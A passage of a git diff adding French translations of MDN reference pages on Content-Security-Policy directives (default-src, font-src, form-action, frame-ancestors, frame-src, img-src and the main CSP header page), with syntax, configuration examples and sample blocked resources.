href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">inline script non fiables</a> pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur <code>'unsafe-inline'</code>, qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.</dd> + <dt>'<hash-algorithm>-<base64-value>'</dt> + <dd>Un hash sha256, sha384 ou sha512 d'un <code><script></code> ou d'un <code><style></code>. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises <code><script></code> or <code><style></code> et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script">inline script non fiables</a> pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes.</dd> +</dl> +</div> + +<div id="strict-dynamic"> +<dl> + <dt>'strict-dynamic'</dt> + <dd>La valeur <code>strict-dynamic</code> spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que <code>'self'</code> ou <code>'unsafe-inline'</code> et listes de permissions sont ignorées. Voir <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic">script-src</a> pour en avoir un exemple.</dd> +</dl> +</div> + +<div id="report-sample"> +<dl> + <dt>'report-sample'</dt> + <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd> +</dl> +</div> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Absence_dhéritage_avec_default-src">Absence d'héritage avec default-src</h3> + +<p>S'il y a d'autres directives spécifiées, <code>default-src</code> ne les affecte pas. Soit l'en-tête suivant :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: default-src 'self'; script-src https://example.com</pre> + +<p>Est identique à :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: connect-src 'self'; + font-src 'self'; + frame-src 'self'; + img-src 'self'; + manifest-src 'self'; + media-src 'self'; + object-src 'self'; + script-src https://example.com; + style-src 'self'; + worker-src 'self'</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-default-src", "default-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Ajout de <code>frame-src</code>, <code>manifest-src</code> et <code>worker-src</code> comme valeurs par défaut.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-default-src", "default-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.csp.Content-Security-Policy.default-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>CSP directives (<a href="https://www.w3.org/TR/CSP/#csp-directives">https://www.w3.org/TR/CSP/#csp-directives</a>): + <ul> + <li>{{Glossary("Fetch directive")}}</li> + <li>{{Glossary("Document directive")}}</li> + <li>{{Glossary("Navigation directive")}}</li> + <li>{{Glossary("Reporting directive")}}</li> + <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests">upgrade-insecure-requests</a></code></li> + <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content">block-all-mixed-content</a></code></li> + <li><code><a href="/docs/Web/HTTP/Headers/Content-Security-Policy/require-sri-for">require-sri-for</a></code> {{experimental_inline}}</li> + </ul> + </li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/font-src/index.html b/files/fr/web/http/headers/content-security-policy/font-src/index.html new file mode 100644 index 0000000000..a5d70dcc8d --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/font-src/index.html @@ -0,0 +1,102 @@ +--- +title: 'CSP: font-src' +slug: Web/HTTP/Headers/Content-Security-Policy/font-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - font + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/font-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>font</strong></code><strong><code>-src</code></strong> spécifie les sources valides pour les polices chargés avec {{cssxref("@font-face")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: font-src <source>; +Content-Security-Policy: font-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: font-src https://example.com/</pre> + +<p>Cette définition de police sera bloquée et ne se chargera pas :</p> + +<pre class="brush: html notranslate"><style> + @font-face { + font-family: "MyFont"; + src: url("https://not-example.com/font"); + } + body { + font-family: "MyFont"; + } +</style></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-font-src", "font-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-font-src", "font-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.font-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{cssxref("@font-face")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/form-action/index.html b/files/fr/web/http/headers/content-security-policy/form-action/index.html new file mode 100644 index 0000000000..e7f4b76e23 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/form-action/index.html @@ -0,0 +1,115 @@ +--- +title: 'CSP: form-action' +slug: Web/HTTP/Headers/Content-Security-Policy/form-action +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Security + - Sécurité + - form + - form-action +translation_of: Web/HTTP/Headers/Content-Security-Policy/form-action +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>form</strong></code><strong><code>-action</code></strong> restreint les URL pouvant être utilisées comme cibles de soumissions de formulaires depuis un contexte donné.</p> + +<div class="warning"> +<p>La question de savoir si <code>form-action</code> doit bloquer les redirections après une soumission de formulaire est encore <a href="https://github.com/w3c/webappsec-csp/issues/8">débattue</a> et les implantations des navigateurs sur cet aspect sont incohérentes (par exemple Firefox 57 ne les bloque pas, contrairement à Chrome 63).</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les adresses.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être utilisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: form-action <source>; +Content-Security-Policy: form-action <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Configuration_par_balise_<meta>">Configuration par balise <meta></h3> + +<pre class="brush: html notranslate"><meta http-equiv="Content-Security-Policy" content="form-action 'none'"></pre> + +<h3 id="Configuration_par_Apache">Configuration par Apache</h3> + +<pre class="brush: bash notranslate"><IfModule mod_headers.c> +Header set Content-Security-Policy "form-action 'none';" +</IfModule></pre> + +<h3 id="Configuration_par_Nginx">Configuration par Nginx</h3> + +<pre class="brush: bash notranslate">add_header Content-Security-Policy "form-action 'none';"</pre> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Utiliser un élément {{HTMLElement("form")}} avec un attribut <code>action</code> défini à un script embarqué JavaScript résultera en une violation de CSP :</p> + +<pre class="brush: html; example-bad notranslate"><meta http-equiv="Content-Security-Policy" content="form-action 'none'"> + +<form action="javascript:alert('Foo')" id="form1" method="post"> + <input type="text" name="fieldName" value="fieldValue"> + <input type="submit" id="submit" value="submit"> +</form> + +// Error: Refused to send form data because it violates the following +// Content Security Policy directive: "form-action 'none'".</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-form-action", "form-action")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-form-action", "form-action")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.form-action")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPheader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("form")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html new file mode 100644 index 0000000000..02431602f3 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html @@ -0,0 +1,126 @@ +--- +title: 'CSP: frame-ancestors' +slug: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors +tags: + - CSP + - Content-Security-Policy + - Directive + - Frame + - HTTP + - Security + - Sécurité + - frame-ancestors + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>frame-ancestors</strong></code> spécifie les parents pouvant intégrer une page en utilisant {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</p> + +<p>Définir cette directive à <code>'none'</code> est comparable à len-tête HTTP {{HTTPHeader("X-Frame-Options")}}<code>: deny</code> (aussi supporté sur les anciens navigateurs).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>No. Not setting this allows anything.</td> + </tr> + <tr> + <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: frame-ancestors <source>; +Content-Security-Policy: frame-ancestors <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>La <source> peut être une des suivantes :</p> + +<div class="note"> +<p>The <code>frame-ancestors</code> directive’s syntax is similar to a source list of other directives (e.g. {{CSP("default-src")}}), but doesn't allow <code>'unsafe-eval'</code> or <code>'unsafe-inline'</code> for example. It will also not fall back to a <code>default-src</code> setting. Only the sources listed below are allowed:</p> +</div> + +<dl> + <dt><host-source></dt> + <dd>Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un <a href="https://wiki.developer.mozilla.org/en-US/docs/URIs_and_URLs">protocole</a> et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque <code>'*'</code>), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. Vous ne devez pas mettre de guillemets simples.<br> + Exemples : + <ul> + <li><code>http://*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole <code>http:</code>.</li> + <li><code>mail.example.com:443</code>: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.</li> + <li><code>https://store.example.com</code>: correspondra à toutes les tentatives d'accès à store.example.com via le protocole <code>https:</code>.</li> + </ul> + + <div class="blockIndicator warning"> + <p>Si aucun schéma d'URL n'est spécifié comme <code>host-source</code> et que l'{{HTMLElement("iframe")}} est chargée via une URL <code>https:</code>, la page chargeant l'iframe doit aussi être chargée en <code>https:</code>, selon la spécification du W3C sur <a href="https://w3c.github.io/webappsec-csp/2/#match-source-expression">les correspondances de valeurs de sources</a>.</p> + </div> + </dd> + <dt><scheme-source></dt> + <dd>Un protocole tel que <code>http:</code> or <code>https:</code>. Les deux-points sont nécessaires et vous ne devez pas mettre de guillemets. Vous pouvez aussi spécifier des schémas de données bien que ce ne soit pas recommandé. + <ul> + <li><code>data:</code> Autorise <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">les URI <code>data:</code></a> à être utilisées comme source de contenu.<em> Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie et certainement pas pour des scripts.</em></li> + <li><code>mediastream:</code> permet aux <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/MediaStream_API">URI <code>mediastream:</code></a> d'être utilisées comme source de contenu.</li> + <li><code>blob:</code> permet aux <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Blob">URI <code>blob:</code></a> d'être utilisées comme source de contenu.</li> + <li><code>filesystem:</code> Allows <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/FileSystem">URI <code>filesystem:</code></a> d'être utilisées comme source de contenu.</li> + </ul> + </dd> + <dt><code>'self'</code></dt> + <dd>Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs <code>blob</code> et <code>filesystem</code> des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.</dd> + <dt><code>'none'</code></dt> + <dd>Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre class="brush: bash notranslate">Content-Security-Policy: frame-ancestors 'none'; + +Content-Security-Policy: frame-ancestors 'self' https://www.example.org;</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.frame-ancestors")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTTPHeader("X-Frame-Options")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/frame-src/index.html b/files/fr/web/http/headers/content-security-policy/frame-src/index.html new file mode 100644 index 0000000000..b85f12cf5a --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/frame-src/index.html @@ -0,0 +1,97 @@ +--- +title: 'CSP: frame-src' +slug: Web/HTTP/Headers/Content-Security-Policy/frame-src +tags: + - CSP + - Content-Security-Policy + - Directive + - Frame + - HTTP + - Reference + - Security + - Sécurité + - frame-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>frame-src</strong></code> spécifie les sources valides pour des contextes de navigation imbriqués chargés d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">Valeur par défaut</th> + <td>Si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("child-src")}}, qui a pour valeur par défaut celle de la directive {{CSP("default-src")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: frame-src <source>; +Content-Security-Policy: frame-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: frame-src https://example.com/</pre> + +<p>Cet élément {{HTMLElement("iframe")}} est bloqué et ne se chargera pas :</p> + +<pre class="brush: html notranslate"><iframe src="https://not-example.com/"></iframe></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-frame-src", "frame-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Réappréciation de <code>frame-src</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-frame-src", "frame-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Dépréciation de <code>frame-src</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.frame-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/img-src/index.html b/files/fr/web/http/headers/content-security-policy/img-src/index.html new file mode 100644 index 0000000000..91ac0401b1 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/img-src/index.html @@ -0,0 +1,97 @@ +--- +title: 'CSP: img-src' +slug: Web/HTTP/Headers/Content-Security-Policy/img-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Image + - Reference + - Security + - Sécurité + - img-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>img-src</strong></code> sépcifie les sources valides d'images et de favicons.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: img-src <source>; +Content-Security-Policy: img-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: img-src https://example.com/</pre> + +<p>Cet élément {{HTMLElement("img")}} est bloqué et ne se chargera pas :</p> + +<pre class="brush: html notranslate"><img src="https://not-example.com/foo.jpg" alt="example picture"></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-img-src", "img-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-img-src", "img-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.img-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("img")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/index.html b/files/fr/web/http/headers/content-security-policy/index.html new file mode 100644 index 0000000000..4d4a843a19 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/index.html @@ -0,0 +1,252 @@ +--- +title: Politique de sécurité de contenu +slug: Web/HTTP/Headers/Content-Security-Policy +tags: + - CSP + - HTTP + - Référence(2) + - Sécurité + - en-tête +translation_of: Web/HTTP/Headers/Content-Security-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de réponse HTTP <strong><code>Content-Security-Policy</code></strong> permet aux administrateurs d'un site web de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. Bien qu'il y ait quelques exceptions, ces règles impliquent la plupart du temps de définir les origines du serveur et les points d'accès pour les scripts. Cet en-tête aide à se protéger contre les attaques de <em>cross-site scripting</em> ({{Glossary("XSS")}}).</p> + +<p>Pour plus d'informations, voir cet article sur <a href="/fr/docs/Web/HTTP/CSP"><em>Content Security Policy</em> (CSP)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>En-tête de réponse</td> + </tr> + <tr> + <th scope="row">Nom d'en-tête interdit</th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy: <policy-directive>; <policy-directive> +</pre> + +<h2 id="Directives">Directives</h2> + +<h3 id="Directives_de_récupération_fetch">Directives de récupération (<em>fetch</em>)</h3> + +<p>Les directives de récupération (ou <em>fetch directives</em> en anglais) contrôlent les emplacements à partir desquels certains types de ressource peuvent être chargés.</p> + +<dl> + <dt>{{CSP("child-src")}}</dt> + <dd>Définit les sources valides pour les <a href="/fr/docs/Web/API/Web_Workers_API">web workers</a> et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</dd> +</dl> + +<div class="blockIndicator warning">Plutôt que la directive <strong><code>child-src</code></strong>, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}.</div> + +<dl> + <dt>{{CSP("connect-src")}}</dt> + <dd>Restreint les URL qui peuvent être chargées via des scripts.</dd> + <dt>{{CSP("default-src")}}</dt> + <dd>Représente la valeur par défaut des directives de récupération qui ne sont pas définies explicitement.</dd> + <dt>{{CSP("font-src")}}</dt> + <dd>Définit les sources valides pour les polices de caractères chargées depuis {{cssxref("@font-face")}}.</dd> + <dt>{{CSP("frame-src")}}</dt> + <dd>Définit les sources valides pour les éléments qui représentent des contextes de navigation imbriqués, tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.</dd> + <dt>{{CSP("img-src")}}</dt> + <dd>Définit les sources valides pour les images et les favicons.</dd> + <dt>{{CSP("manifest-src")}}</dt> + <dd>Définit les sources valides pour les fichiers de manifeste d'application.</dd> + <dt>{{CSP("media-src")}}</dt> + <dd>Définit les sources valides pour les ressources média des éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}.</dd> + <dt>{{CSP("object-src")}}</dt> + <dd>Définit les sources valides pour les ressources des éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.</dd> +</dl> + +<div class="blockIndicator note"> +<p>Les éléments contrôlés pa ar <code>object-src</code> sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité <code>sandbox</code> et <code>allow</code> pour <code><iframe></code>). De ce fait, il est <strong>recommandé</strong> de restreindre cette directive, c'est-à-dire la définir explicitement à <code>object-src 'none'</code> dans la mesure du possible.</p> +</div> + +<dl> + <dt>{{CSP("prefetch-src")}}</dt> + <dd>Définit .</dd> + <dt>{{CSP("script-src")}}</dt> + <dd>Définit les sources valides pour les fichiers JavaScript.</dd> + <dt>{{CSP("script-src-elem")}}{{experimental_inline}}</dt> + <dd>Définit les sources valides de code JavaScript chargé avec l'élément {{HTMLElement("script")}}.</dd> + <dt>{{CSP("script-src-attr")}}{{experimental_inline}}</dt> + <dd>Définit les sources valides de JavaScript pour les écouteurs d'évènements par les attributs <code>on<eventName></code>.</dd> + <dt>{{CSP("style-src")}}</dt> + <dd>Définit les sources valides pour les feuilles de styles.</dd> + <dt>{{CSP("style-src-elem")}}{{experimental_inline}}</dt> + <dd>Définit les sources valides pour les feuilles de styles définies avec l'élément {{HTMLElement("style")}} ou chargées avec l'élément {{HTMLElement("link")}} ayant l'attribut <code>rel="stylesheet"</code>.</dd> + <dt>{{CSP("style-src-attr")}}{{experimental_inline}}</dt> + <dd>Définit les sources valides pour les feuilles de styles embarquées appliquées à des éléments individuels du DOM par l'attribut <code>style</code>.</dd> + <dt>{{CSP("worker-src")}}</dt> + <dd>Définit les sources valides pour les scripts des {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.</dd> +</dl> + +<h3 id="Directives_de_document">Directives de document</h3> + +<p>Les directives de document permettent de paramétrer les propriétés d'un document ou d'un environnement pour <a href="/fr/docs/Web/API/Web_Workers_API">un <em>web worker</em></a> auquel une règle de sécurité s'applique.</p> + +<dl> + <dt>{{CSP("base-uri")}}</dt> + <dd>Restreint les URL qui peuvent être utilisées au sein de l'élément {{HTMLElement("base")}} d'un document.</dd> + <dt>{{CSP("plugin-types")}}</dt> + <dd>Restreint le type de plugin qui peut être intégré dans un document en limitant le type de ressource qui peut être chargé.</dd> + <dt>{{CSP("sandbox")}}</dt> + <dd>Active un bac-à-sable (<em>sandbox</em>) pour la ressource visée. Cela fonctionne de façon analogue à l'attribut {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}.</dd> +</dl> + +<h3 id="Directives_de_navigation">Directives de navigation</h3> + +<p>Les directives de navigation permettent par exemple de paramétrer les emplacements vers lesquels l'utilisateur peut naviguer ou envoyer un formulaire.</p> + +<dl> + <dt>{{CSP("form-action")}}</dt> + <dd>Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné.</dd> + <dt>{{CSP("frame-ancestors")}}</dt> + <dd>Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.</dd> + <dt>{{CSP("navigate-to")}}{{experimental_inline}}</dt> + <dd>Restreint les URL vers lesquelles 